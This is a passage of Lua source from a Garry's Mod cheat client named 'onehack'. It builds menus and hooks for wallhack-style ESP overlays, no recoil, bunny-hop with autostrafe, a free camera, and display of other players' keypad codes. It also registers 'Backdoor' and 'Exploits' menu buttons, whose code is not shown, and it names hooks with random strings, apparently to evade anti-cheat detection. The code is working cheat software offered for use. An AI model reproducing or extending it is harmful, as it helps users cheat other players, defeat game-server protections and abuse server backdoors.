1727
1728 local red = 255 - (onehack.memory["logic"]*2.55)
1729 local green = onehack.memory["logic"] * 2.55
1730 local atadd = 52
1731 draw.RoundedBox(0,5,364,200+atadd,13,onehack.theme.backgroundalt2)
1732 draw.RoundedBox(0,6,365,(200-2)+atadd,13-2,onehack.theme.backgroundalt)
1733
1734 draw.RoundedBox(0,6, 365, math.Clamp( (onehack.memory["logic"]) * 0.75, 0, 200+atadd)-2, 13-2,Color(green,red, 0, 255) )
1735 draw.SimpleText("Core memory usage: "..onehack.memory["logic"].."kb","DermaDefault",(90-6)+atadd,363+(13/2),Color(255,255,255,100),1,1)
1736
1737 local red2 = 255 - (onehack.memory["hud"]*2.55)
1738 local green2 = onehack.memory["hud"] * 2.55
1739 local atstop = 257
1740 draw.RoundedBox(0,5+atstop,364,200,13,onehack.theme.backgroundalt2)
1741 draw.RoundedBox(0,6+atstop,365,200-2,13-2,onehack.theme.backgroundalt)
1742 local hudmemstext
1743 if onehack.memory["hud"] < 0 then
1744 hudmemstext = 0
1745 else
1746 hudmemstext = onehack.memory["hud"]
1747 end
1748
1749 draw.RoundedBox(0,6+atstop, 365, math.Clamp( (onehack.memory["hud"]) * 0.75, 0, 200)-2, 13-2,Color(green2,red2, 0, 255) )
1750 draw.SimpleText("Visuals memory usage: "..hudmemstext.."kb","DermaDefault",(110-6)+atstop,363+(13/2),Color(255,255,255,100),1,1)
1751 end
1752 logsmenuoptrichtext = vgui.Create( "RichText", logsmenuopt )
1753 logsmenuoptrichtext:SetPos(5, 5)
1754 logsmenuoptrichtext:SetSize( 457,353 ) --373
1755 logsmenuoptrichtext.Paint = function( _, w, h )
1756 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1757 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1758 end
1759 for idx, tab in pairs(onehack.debug) do
1760 logsmenuoptrichtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
1761 logsmenuoptrichtext:AppendText( tab[1].."\n" )
1762 end
1763
1764 if onehack.selectedpanel != nil then
1765 onehack.selectedpanel:Remove()
1766 end
1767 onehack.selectedpanel_id = 4
1768 onehack.selectedpanel = logsmenuopt
1769 end
1770
1771 function esppanel()
1772 esppanel = vgui.Create( "DPanel" , framesag )
1773 esppanel:SetPos( 126, 9 )
1774 esppanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1775 function esppanel:Paint( w, h )
1776 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1777 end
1778
1779 local esbenable = vgui.Create("DCheckBox",esppanel)
1780 esbenable:SetPos(5,5)
1781 esbenable:SetValue(onehack.Vars['ESP'])
1782 esbenable:SetSize(100,17)
1783 function esbenable:Paint(w,h)
1784 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1785 if esbenable:GetChecked() then
1786 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1787 end
1788 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1789 draw.SimpleText("Enabled","DermaDefault",24,h/2,Color(255,255,255),0,1)
1790 onehack.Vars['ESP'] = esbenable:GetChecked()
1791 end
1792
1793 local shownames = vgui.Create("DCheckBox",esppanel)
1794 shownames:SetPos(5,27)
1795 shownames:SetValue(onehack.Vars['ESP_NAME'])
1796 shownames:SetSize(100,17)
1797 function shownames:Paint(w,h)
1798 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1799 if shownames:GetChecked() then
1800 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1801 end
1802 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1803 draw.SimpleText("Name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1804 onehack.Vars['ESP_NAME'] = shownames:GetChecked()
1805 end
1806
1807 local showgroup = vgui.Create("DCheckBox",esppanel)
1808 showgroup:SetPos(5,49)
1809 showgroup:SetValue(onehack.Vars['ESP_GROUP'])
1810 showgroup:SetSize(100,17)
1811 function showgroup:Paint(w,h)
1812 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1813 if showgroup:GetChecked() then
1814 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1815 end
1816 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1817 draw.SimpleText("User group","DermaDefault",24,h/2,Color(255,255,255),0,1)
1818 onehack.Vars['ESP_GROUP'] = showgroup:GetChecked()
1819 end
1820
1821 local showteam = vgui.Create("DCheckBox",esppanel)
1822 showteam:SetPos(5,72)
1823 showteam:SetValue(onehack.Vars['ESP_TEAM'])
1824 showteam:SetSize(100,17)
1825 function showteam:Paint(w,h)
1826 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1827 if showteam:GetChecked() then
1828 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1829 end
1830 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1831 draw.SimpleText("Team name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1832 onehack.Vars['ESP_TEAM'] = showteam:GetChecked()
1833 end
1834
1835 local showhealthnumber = vgui.Create("DCheckBox",esppanel)
1836 showhealthnumber:SetPos(5,94)
1837 showhealthnumber:SetValue(onehack.Vars['ESP_HP'])
1838 showhealthnumber:SetSize(100,17)
1839 function showhealthnumber:Paint(w,h)
1840 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1841 if showhealthnumber:GetChecked() then
1842 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1843 end
1844 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1845 draw.SimpleText("Health number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1846 onehack.Vars['ESP_HP'] = showhealthnumber:GetChecked()
1847 end
1848
1849 local showhealtbox = vgui.Create("DCheckBox",esppanel)
1850 showhealtbox:SetPos(5,116)
1851 showhealtbox:SetValue(onehack.Vars['ESP_HPBOX'])
1852 showhealtbox:SetSize(100,17)
1853 function showhealtbox:Paint(w,h)
1854 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1855 if showhealtbox:GetChecked() then
1856 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1857 end
1858 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1859 draw.SimpleText("Health box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1860 onehack.Vars['ESP_HPBOX'] = showhealtbox:GetChecked()
1861 end
1862
1863 local showarmornumber = vgui.Create("DCheckBox",esppanel)
1864 showarmornumber:SetPos(5,137)
1865 showarmornumber:SetValue(onehack.Vars['ESP_ARMOR'])
1866 showarmornumber:SetSize(100,17)
1867 function showarmornumber:Paint(w,h)
1868 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1869 if showarmornumber:GetChecked() then
1870 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1871 end
1872 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1873 draw.SimpleText("Armor number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1874 onehack.Vars['ESP_ARMOR'] = showarmornumber:GetChecked()
1875 end
1876
1877 local showarmorbox = vgui.Create("DCheckBox",esppanel)
1878 showarmorbox:SetPos(5,159)
1879 showarmorbox:SetValue(onehack.Vars['ESP_ARMORBOX'])
1880 showarmorbox:SetSize(100,17)
1881 function showarmorbox:Paint(w,h)
1882 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1883 if showarmorbox:GetChecked() then
1884 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1885 end
1886 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1887 draw.SimpleText("Armor box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1888 onehack.Vars['ESP_ARMORBOX'] = showarmorbox:GetChecked()
1889 end
1890
1891 local showammonumber = vgui.Create("DCheckBox",esppanel)
1892 showammonumber:SetPos(5,181)
1893 showammonumber:SetValue(onehack.Vars['ESP_WEAPON'])
1894 showammonumber:SetSize(100,17)
1895 function showammonumber:Paint(w,h)
1896 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1897 if showammonumber:GetChecked() then
1898 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1899 end
1900 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1901 draw.SimpleText("Weapon name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1902 onehack.Vars['ESP_WEAPON'] = showammonumber:GetChecked()
1903 end
1904
1905 local showbox = vgui.Create("DCheckBox",esppanel)
1906 showbox:SetPos(5,202)
1907 showbox:SetValue(onehack.Vars['ESP_BOX'])
1908 showbox:SetSize(100,17)
1909 function showbox:Paint(w,h)
1910 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1911 if showbox:GetChecked() then
1912 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1913 end
1914 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1915 draw.SimpleText("Box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1916 onehack.Vars['ESP_BOX'] = showbox:GetChecked()
1917 end
1918
1919 local showskelet = vgui.Create("DCheckBox",esppanel)
1920 showskelet:SetPos(5,224)
1921 showskelet:SetValue(onehack.Vars['ESP_SKELET'])
1922 showskelet:SetSize(100,17)
1923 function showskelet:Paint(w,h)
1924 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1925 if showskelet:GetChecked() then
1926 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1927 end
1928 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1929 draw.SimpleText("Skeleton","DermaDefault",24,h/2,Color(255,255,255),0,1)
1930 onehack.Vars['ESP_SKELET'] = showskelet:GetChecked()
1931 end
1932
1933 local norecoil = vgui.Create("DCheckBox",esppanel)
1934 norecoil:SetPos(5,260)
1935 norecoil:SetValue(onehack.Vars['NoRecoil'])
1936 norecoil:SetSize(100,17)
1937 function norecoil:Paint(w,h)
1938 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1939 if norecoil:GetChecked() then
1940 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1941 end
1942 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1943 draw.SimpleText("No recoil","DermaDefault",24,h/2,Color(255,255,255),0,1)
1944 onehack.Vars['NoRecoil'] = norecoil:GetChecked()
1945 end
1946
1947 local Crosshair = vgui.Create("DCheckBox",esppanel)
1948 Crosshair:SetPos(5,282)
1949 Crosshair:SetValue(onehack.Vars['Crosshair'])
1950 Crosshair:SetSize(100,17)
1951 function Crosshair:Paint(w,h)
1952 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1953 if Crosshair:GetChecked() then
1954 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1955 end
1956 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1957 draw.SimpleText("Crosshair","DermaDefault",24,h/2,Color(255,255,255),0,1)
1958 onehack.Vars['Crosshair'] = Crosshair:GetChecked()
1959 end
1960
1961 local preview = vgui.Create("DPanel",esppanel)
1962 preview:SetPos(212,5)
1963 preview:SetSize(250,373)
1964 function preview:Paint(w,h)
1965 onehack.DrawRect(0,0,w,h,Color(255,255,255,10))
1966 onehack.DrawOutLinedRect(0,0,w,h,onehack.theme.backgroundalt2)
1967
1968 if onehack.Vars['ESP_NAME'] then
1969 draw.SimpleTextOutlined("Garry :D","default",w/2, 50,Color(255,255,255),1,1,1,Color(0,0,0))
1970 end
1971
1972 if onehack.Vars['ESP_WEAPON'] then
1973 draw.SimpleTextOutlined("Crowbar","default",w/2, h-50,Color(255,255,255),1,1,1,Color(0,0,0))
1974 end
1975
1976 if onehack.Vars['ESP_TEAM'] then
1977 draw.SimpleTextOutlined("Citizen","default",w-54, 65,Color(50,255,50),0,1,1,Color(0,0,0))
1978 end
1979
1980 if onehack.Vars['ESP_GROUP'] then
1981 draw.SimpleTextOutlined("Admin","default",w-54, 80,Color(255,255,255),0,1,1,Color(0,0,0))
1982 end
1983
1984 if onehack.Vars['ESP_HP'] then
1985 draw.SimpleTextOutlined("100%","default",58,56,Color(150,255,0),0,1,1,Color(0,0,0))
1986 end
1987
1988 if onehack.Vars['ESP_HPBOX'] then
1989 onehack.DrawOutLinedRect(53,60,6,h-120,Color(0,0,0))
1990 onehack.DrawRect(54,61,4,h-122,Color(150,255,0))
1991 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1992 end
1993
1994 if onehack.Vars['ESP_ARMOR'] then
1995 draw.SimpleTextOutlined("100%","default",46,56,Color(19,136,191),2,1,1,Color(0,0,0))
1996 end
1997
1998 if onehack.Vars['ESP_ARMORBOX'] then
1999 onehack.DrawOutLinedRect(46,60,6,h-120,Color(0,0,0))
2000 onehack.DrawRect(47,61,4,h-122,Color(19,136,191))
2001 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
2002 end
2003
2004 if onehack.Vars['ESP_BOX'] then
2005 onehack.DrawOutLinedRect(60,60,w-120,h-120,Color(0,0,0))
2006 onehack.DrawOutLinedRect(61,61,w-122,h-122,Color(255,255,255))
2007 onehack.DrawOutLinedRect(62,62,w-124,h-124,Color(0,0,0))
2008 end
2009 end
2010
2011 if onehack.selectedpanel != nil then
2012 onehack.selectedpanel:Remove()
2013 end
2014 onehack.selectedpanel_id = 5
2015 onehack.selectedpanel = esppanel
2016 end
2017
2018 function aimpanel()
2019 aimpanel = vgui.Create( "DPanel" , framesag )
2020 aimpanel:SetPos( 126, 9 )
2021 aimpanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
2022 function aimpanel:Paint( w, h )
2023 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
2024 draw.SimpleText("Coming soon...","DermaDefault",w/2,h/2,Color(255,255,255,100),1,1)
2025 end
2026
2027 if onehack.selectedpanel != nil then
2028 onehack.selectedpanel:Remove()
2029 end
2030 onehack.selectedpanel_id = 5
2031 onehack.selectedpanel = aimpanel
2032 end
2033
2034 PanelAddButton("Aimbot",aimpanel,6)
2035 PanelAddButton("Visuals",esppanel,5)
2036 PanelAddButton("Backdoor",onehackdooropt,1)
2037 PanelAddButton("Exploits",exploitmenuopt,2)
2038 PanelAddButton("Options",optionsmenuopt,3)
2039 PanelAddButton("Logs",logsmenuopt,4)
2040 onehackdooropt()
2041end
2042function myfunc()
2043 if input.IsKeyDown( KEY_F11 ) then
2044 if not timer.Exists("FW.MenuIsPressed") then
2045 if IsValid(framesag) then
2046 framesag:Remove()
2047 else
2048 MainFunc()
2049 end
2050 timer.Create("FW.MenuIsPressed",0.3,1,function() end)
2051 end
2052 end
2053
2054 if input.IsKeyDown( KEY_F9 ) then
2055 if not timer.Exists("FW.MenuIsPressedF9") then
2056 onehack.Vars['FCAM'] = !onehack.Vars['FCAM']
2057 timer.Create("FW.MenuIsPressedF9",0.3,1,function() end)
2058 end
2059 end
2060end
2061onehack.DebugLog( "Onehack loaded successfully!", Color(100,255,100) )
2062onehack.DebugLog( "onehack version v2.44, build 13.05.2019", Color(255,255,255) )
2063hook.Add("Think","twsgsh",myfunc)
2064
2065
2066local me = LocalPlayer();
2067function onehack.CreateMove(cmd)
2068 local memfootprint = gcinfo()
2069 if(!onehack.Vars['BHOP']) then return; end
2070 if(!me:IsOnGround() && cmd:KeyDown(IN_JUMP)) then
2071 cmd:RemoveKey(IN_JUMP);
2072 if(onehack.Vars['AUTOSTRAFER']) then
2073 if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
2074 cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400);
2075 else
2076 cmd:SetForwardMove(5850 / me:GetVelocity():Length2D());
2077 cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400);
2078 end
2079 end
2080 elseif(cmd:KeyDown(IN_JUMP) && onehack.Vars['AUTOSTRAFER']) then
2081 cmd:SetForwardMove(10000);
2082 end
2083 onehack.memory["logic"] = gcinfo() - memfootprint
2084end
2085hook.Add("CreateMove", onehack.RandomString(10), function(cmd)
2086 onehack.CreateMove(cmd);
2087end);
2088
2089function onehack.CalcView( ply, pos, angles, fov )
2090 if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
2091 local tps = {}
2092 if onehack.Vars['NoRecoil'] then
2093 tps.angles = me:EyeAngles()
2094 return tps
2095 end
2096end
2097hook.Add("CalcView", onehack.RandomString(10), onehack.CalcView)
2098
2099
2100local function coordinates( ent )
2101local min, max = ent:OBBMins(), ent:OBBMaxs()
2102local corners = {
2103 Vector( min.x, min.y, min.z ),
2104 Vector( min.x, min.y, max.z ),
2105 Vector( min.x, max.y, min.z ),
2106 Vector( min.x, max.y, max.z ),
2107 Vector( max.x, min.y, min.z ),
2108 Vector( max.x, min.y, max.z ),
2109 Vector( max.x, max.y, min.z ),
2110 Vector( max.x, max.y, max.z )
2111}
2112
2113local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
2114for _, corner in pairs( corners ) do
2115 local onScreen = ent:LocalToWorld( corner ):ToScreen()
2116 minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
2117 maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
2118end
2119function drawfillbox( mag,value,left,top,right,bottom,r,g,b,a )
2120 local poly = {
2121 {x=left,y=top},
2122 {x=right,y=top},
2123 {x=right,y=bottom},
2124 {x=left,y=bottom}
2125 }
2126 surface.SetDrawColor( r,g,b,a )
2127 draw.NoTexture()
2128 surface.DrawPoly(poly)
2129 draw.SimpleTextOutlined(value,"default",left + (right - left) / 2,top,Color(r,g,b,a),mag,1,1,Color(0,0,0))
2130end
2131return minX, minY, maxX, maxY
2132end
2133hook.Add("OnEntityCreated",onehack.RandomString(17),function(ent)
2134 onehack.DebugLog( ent:GetClass().." spawned on ("..tostring(ent:GetPos())..")", Color(100,100,100) )
2135end)
2136hook.Add( "PostDrawOpaqueRenderables", onehack.RandomString(17), function()
2137 if onehack.Vars['WEAPON_LIST3D'] then
2138 for k,vv in pairs(player.GetAll()) do
2139 if vv:IsValid() and vv ~= LocalPlayer() and vv:GetPos():Distance(LocalPlayer():GetPos()) < 600 and onehack.Vars['FCAM'] and vv:Alive() or (vv:GetPos():Distance(LocalPlayer():GetPos()) < 255 and vv ~= LocalPlayer() and vv:Alive()) then
2140 local rot = (vv:GetPos() - EyePos()):Angle().yaw - 90
2141 local ang = Angle(0,rot,90)
2142 cam.Start3D2D( vv:EyePos()+2*ang:Up(), ang-Angle(0,30,0), 0.15 )
2143 local otstup = 0
2144 local toleft = 160
2145 local alpha = 255 - vv:GetPos():Distance(LocalPlayer():GetPos())
2146 surface.SetDrawColor( 255, 165, 0, alpha )
2147 surface.DrawRect( toleft, 0, 150, 1 )
2148 surface.SetDrawColor( 0, 0, 0, alpha )
2149 surface.SetMaterial(Material("gui/gradient_down"))
2150 surface.DrawTexturedRect( toleft, 1, 150, alpha/2 )
2151 for k,v in pairs(vv:GetWeapons()) do
2152 surface.SetDrawColor( 255, 255, 255, alpha/2 )
2153 surface.SetMaterial(Material("gui/gradient_down"))
2154 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2155 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2156 surface.SetDrawColor( 255, 165, 0, alpha/2 )
2157 surface.SetMaterial(Material("gui/gradient_up"))
2158 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2159 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2160 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2161 surface.SetMaterial(Material("gui/gradient_up"))
2162 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2163 end
2164 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2165 surface.SetDrawColor( 255, 165, 0, alpha )
2166 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2167 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2168 else
2169 surface.SetDrawColor( 255, 255, 255, alpha )
2170 end
2171 surface.DrawOutlinedRect( 4+toleft, 4+otstup, 92+50, 15 )
2172
2173 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft, 5+otstup,Color(0,0,0,alpha))
2174 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft+1, 5+otstup-1,Color(255,255,255,alpha))
2175 otstup = otstup + 19
2176 end
2177 cam.End3D2D()
2178 end
2179 end
2180 end
2181
2182 if onehack.Vars['keypad_jiw'] then
2183 for k, e in pairs(ents.FindInSphere( LocalPlayer():GetPos(), 100 )) do
2184 if IsValid(e) and string.find( e:GetClass(), "Keypad") then
2185 local text;
2186 local color;
2187 if(e.code && e.code != "") then
2188 text = e.code;
2189 color = Color( 105, 255, 105, 150 )
2190 elseif(e.tempCode && e.tempCode != "") then
2191 text = e.tempCode;
2192 color = Color( 250, 150, 150, 150 )
2193 else
2194 text = "Unkn"
2195 color = Color(150,150,150,150)
2196 end
2197 local rot = (e:GetPos() - EyePos()):Angle().yaw - 90
2198 local rot2 = -(e:GetPos() - EyePos()):Angle().pich +90
2199 local ang = Angle(0,rot,rot2)
2200 cam.Start3D2D( e:GetPos()+Vector(0,0,2), ang-Angle(0,30,0), 0.15 )
2201 local otstup = 0
2202 local toleft = 40
2203 local alpha = 255-(e:GetPos():Distance(LocalPlayer():GetPos()))
2204 surface.SetDrawColor( color.r, color.g, color.b, alpha )
2205 surface.DrawRect( toleft, 0, 40, 1 )
2206 surface.SetDrawColor( 0, 0, 0, alpha )
2207 surface.SetMaterial(Material("gui/gradient_down"))
2208 surface.DrawTexturedRect( toleft, 1, 40, 30 )
2209 draw.SimpleText(text,"DermaDefault",8+toleft, 5+otstup,Color(255,255,255,alpha))
2210 cam.End3D2D()
2211 end
2212 end
2213 end
2214end )
2215hook.Add("HUDPaint", onehack.RandomString(17), function()
2216if onehack.Vars['WaterMark'] then
2217 surface.SetFont("DermaDefault")
2218 local tw,th = surface.GetTextSize("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name())
2219 tw = tw + 3
2220 onehack.DrawRect(5,5,10+tw,25,Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b,150))
2221 onehack.DrawRect(9,9,2+tw,17,Color(onehack.theme.chromaalt.r,onehack.theme.chromaalt.g,onehack.theme.chromaalt.b,150))
2222 onehack.DrawOutLinedRect(5,5,10+tw,25,Color(0,0,0,50))
2223 onehack.DrawOutLinedRect(9,9,2+tw,17,Color(0,0,0,50))
2224 draw.SimpleText("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name(),"DermaDefault",12,10,Color(255,255,255))
2225end
2226local memfootprintss = gcinfo()
2227if not onehack.Vars['ESP'] then return end
2228if onehack.Vars['Crosshair'] then
2229 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)+5,(ScrH()/2)+5,Color(255,255,255,100))
2230 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)-5,(ScrH()/2)+5,Color(255,255,255,100))
2231end
2232for k,v in pairs(player.GetAll()) do
2233 local left,top,right,bottom = coordinates(v)
2234 local dist = v:GetPos():Distance(LocalPlayer():GetPos())
2235 if v ~= LocalPlayer() then
2236 if dist > 20 then
2237 if v:Alive() then
2238 if left ~= 0 and right ~= 0 and top ~= 0 and bottom ~= 0 then
2239 if onehack.Vars['ESP_BOX'] then
2240 surface.SetDrawColor(Color(255,255,255))
2241 surface.DrawLine( left, top, right, top )
2242 surface.DrawLine( left, top, left, bottom )
2243 surface.DrawLine( right, top, right, bottom )
2244 surface.DrawLine( left, bottom, right, bottom )
2245
2246 surface.SetDrawColor(Color(0,0,0))
2247 surface.DrawLine( left-1, top-1, right+1, top-1 )
2248 surface.DrawLine( left-1, top-1, left-1, bottom+1 )
2249 surface.DrawLine( right+1, top-1, right+1, bottom+1 )
2250 surface.DrawLine( left-1, bottom+1, right+1, bottom+1 )
2251
2252 surface.SetDrawColor(Color(0,0,0))
2253 surface.DrawLine( left+1, top+1, right-1, top+1 )
2254 surface.DrawLine( left+1, top+1, left+1, bottom-1 )
2255 surface.DrawLine( right-1, top+1, right-1, bottom-1 )
2256 surface.DrawLine( left+1, bottom-1, right-1, bottom-1 )
2257 end
2258
2259 local hpdraw = {
2260 {x=left-4,y=top},
2261 {x=left-2,y=top},
2262 {x=left-2,y=bottom},
2263 {x=left-4,y=bottom}
2264 }
2265 if onehack.Vars['ESP_NAME'] then
2266 draw.SimpleTextOutlined(v:GetName(),"default",left + (right - left) / 2, top - 10,Color(255,255,255),1,1,1,Color(0,0,0))
2267 end
2268
2269 if IsValid(v:GetActiveWeapon()) and onehack.Vars['ESP_WEAPON'] then
2270 draw.SimpleTextOutlined(v:GetActiveWeapon():GetPrintName() or v:GetActiveWeapon():GetClass(),"default",left + (right - left) / 2, bottom + 10,Color(255,255,255),1,1,1,Color(0,0,0))
2271 end
2272 w, h = ScrW(), ScrH()
2273 w = w/2
2274 local hp = math.min(v:Health(), 100)
2275 local height = bottom - top - 1
2276 local healthbar_height = (hp / 100) * height
2277 local healthbar_height2 = (100 / 100) * height
2278 local width = (w * (hp / 100.0))
2279 local red = 255 - (hp*2.55)
2280 local green = hp * 2.55
2281 if onehack.Vars['ESP_HP'] then numb = v:Health().."%" else numb = "" end
2282 if onehack.Vars['ESP_HPBOX'] then
2283 drawfillbox( 0,"", left - 8, bottom - healthbar_height2 - 2,left - 2, bottom,0,0,0,255 )
2284 drawfillbox( 0,"", left - 7, bottom - healthbar_height2 - 1,left - 3, bottom-1,0,200,0,40 )
2285 drawfillbox( 0,numb, left - 7, bottom - healthbar_height - 1,left - 3, bottom-1,red,green,0,255 )
2286 end
2287 local ar = math.min(v:Armor(), 100)
2288 local armorbar_height = (ar / 100) * height
2289 local numb
2290 if onehack.Vars['ESP_ARMOR'] then numb = v:Armor().."%" else numb = "" end
2291 if onehack.Vars['ESP_ARMORBOX'] then
2292 drawfillbox( 0,"", left - 15, bottom - healthbar_height2 - 2,left - 10, bottom,0,0,0,255 )
2293 drawfillbox( 0,"", left - 14, bottom - healthbar_height2 - 1,left - 11, bottom-1,0,200,0,40 )
2294 drawfillbox( 2,numb, left - 14, bottom - armorbar_height - 1,left - 11, bottom-1,19,136,191,255 )
2295 end
2296 local plys = v
2297 local Bones = {}
2298 local sBones = {
2299 "ValveBiped.Bip01_Head1",
2300 "ValveBiped.Bip01_Neck1",
2301 "ValveBiped.Bip01_Spine4",
2302 "ValveBiped.Bip01_Spine2",
2303 "ValveBiped.Bip01_Spine1",
2304 "ValveBiped.Bip01_Spine",
2305 "ValveBiped.Bip01_Pelvis",
2306 "ValveBiped.Bip01_R_UpperArm",
2307 "ValveBiped.Bip01_R_Forearm",
2308 "ValveBiped.Bip01_R_Hand",
2309 "ValveBiped.Bip01_L_UpperArm",
2310 "ValveBiped.Bip01_L_Forearm",
2311 "ValveBiped.Bip01_L_Hand",
2312 "ValveBiped.Bip01_R_Thigh",
2313 "ValveBiped.Bip01_R_Calf",
2314 "ValveBiped.Bip01_R_Foot",
2315 "ValveBiped.Bip01_R_Toe0",
2316 "ValveBiped.Bip01_L_Thigh",
2317 "ValveBiped.Bip01_L_Calf",
2318 "ValveBiped.Bip01_L_Foot",
2319 "ValveBiped.Bip01_L_Toe0"
2320 }
2321 local Success = true
2322 for k, v in pairs(sBones) do
2323 if plys:LookupBone(v) != nil && plys:GetBonePosition(plys:LookupBone(v)) != nil then
2324 table.insert( Bones, plys:GetBonePosition(plys:LookupBone(v)):ToScreen() )
2325 else
2326 Success = false
2327 end
2328 end
2329 surface.SetDrawColor(Color(255,255,255))
2330 if Success and onehack.Vars['ESP_SKELET'] then
2331 surface.DrawLine( Bones[1].x, Bones[1].y, Bones[2].x, Bones[2].y )
2332 surface.DrawLine( Bones[2].x, Bones[2].y, Bones[3].x, Bones[3].y )
2333 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[4].x, Bones[4].y )
2334 surface.DrawLine( Bones[4].x, Bones[4].y, Bones[5].x, Bones[5].y )
2335 surface.DrawLine( Bones[5].x, Bones[5].y, Bones[6].x, Bones[6].y )
2336 surface.DrawLine( Bones[6].x, Bones[6].y, Bones[7].x, Bones[7].y )
2337
2338 //Legs
2339 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[14].x, Bones[14].y )
2340 surface.DrawLine( Bones[14].x, Bones[14].y, Bones[15].x, Bones[15].y )
2341 surface.DrawLine( Bones[15].x, Bones[15].y, Bones[16].x, Bones[16].y )
2342 surface.DrawLine( Bones[16].x, Bones[16].y, Bones[17].x, Bones[17].y )
2343
2344 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[18].x, Bones[18].y )
2345 surface.DrawLine( Bones[18].x, Bones[18].y, Bones[19].x, Bones[19].y )
2346 surface.DrawLine( Bones[19].x, Bones[19].y, Bones[20].x, Bones[20].y )
